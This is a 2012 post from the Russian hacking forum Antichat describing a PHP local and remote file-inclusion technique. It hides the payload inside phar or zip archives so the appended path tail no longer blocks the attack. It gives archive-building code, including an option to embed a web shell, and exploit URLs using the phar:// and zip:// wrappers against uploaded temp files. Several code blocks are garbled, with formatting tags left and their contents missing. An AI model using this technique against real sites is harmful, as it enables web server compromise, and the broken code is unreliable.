HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Кухня
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.06.2012, 14:55
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами: 9285506

Репутация: 1463
По умолчанию

Небольшое добавление к технике инклудов.

Начиная с PHP версии 5.3.4 стало проблемно работать с инклудами, у которых присутствует "хвост".

С другой стороны, в линейке 5.3, появилась штатная поддержка архивов phar.

В случае RFI, появилась возможность не отрезать лишний хвост, а спрятать его внутри архива.

Пример:

in2.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
Создадим архив phar с файлом bla.gif

для создания нужно в php.ini установить: phar.readonly = Off

PHP код:
[COLOR="#000000"]//создадим архив in.phar

$p = new Phar('in.phar');

$p->setStub('[COLOR="#0000BB"][/COLOR]');

$p['bla.gif'] = '[COLOR="#0000BB"][/COLOR]';

//или

//$p['bla.gif'] = file_get_contents('shell.php');

[/COLOR
Инклудим

http://localhost/in.php?pic=phar://in.phar/bla

Это может быть и zip или tar архив, конвертнем

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]convertToExecutable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]Phar[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ZIP[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Инклудим

http://localhost/in.php?pic=phar://in.phar.zip/bla

Хвост может быть длинным, тогда в каталоге arc создаем нужную структуру файлов, например /tmp/arc/Bla/bla2/file.ext

и добавляем в архив

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//вторым параметром можно указать регулярку для отбора файлов

//каталоги и файлы в архиве - чувствительны к регистру (даже для винды)

[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]buildFromDirectory[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/tmp/arc/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/.*/'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
для родного формата phar, расширение не обязательно, или любое.

Для zip обязательна подстрока .zip (bla.zip, bla.zip.php и т.д.)

После аплоада получаются файлы без расширения, типа phpKuAoU3

Инклудим

Код:
http://localhost/in.php?pic=phar:///tmp/phpKuAoU3/bla
Можно грузить zip архив и использовать обертку zip:// (почти везде установлена, поддерживается много раньше phar://)

Код:
http://localhost/in.php?pic=zip:///tmp/phpKuAoU3%23bla
Способ не зависит от настроек

allow_url_fopen

allow_url_include

magic_quotes_gpc

а зависимостей две

- можем влиять на начало строки инклуда

- можем приготовить файл произвольного содержания, имя не важно.

Про zip:// подробнее можно посмотреть у Алексея Москвина (Positive Technologies).

PS

К архиву in.phar можно обратиться

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'phar://in.phar'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]//или напрямую

[/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'in.phar'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]//а вот к файлу внутри архива, только через обертку

[/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'phar://in.phar/bla.gif'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Если найдется способ прямого обращения к файлу архива, будет решена проблема хвоста и в LFI.
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.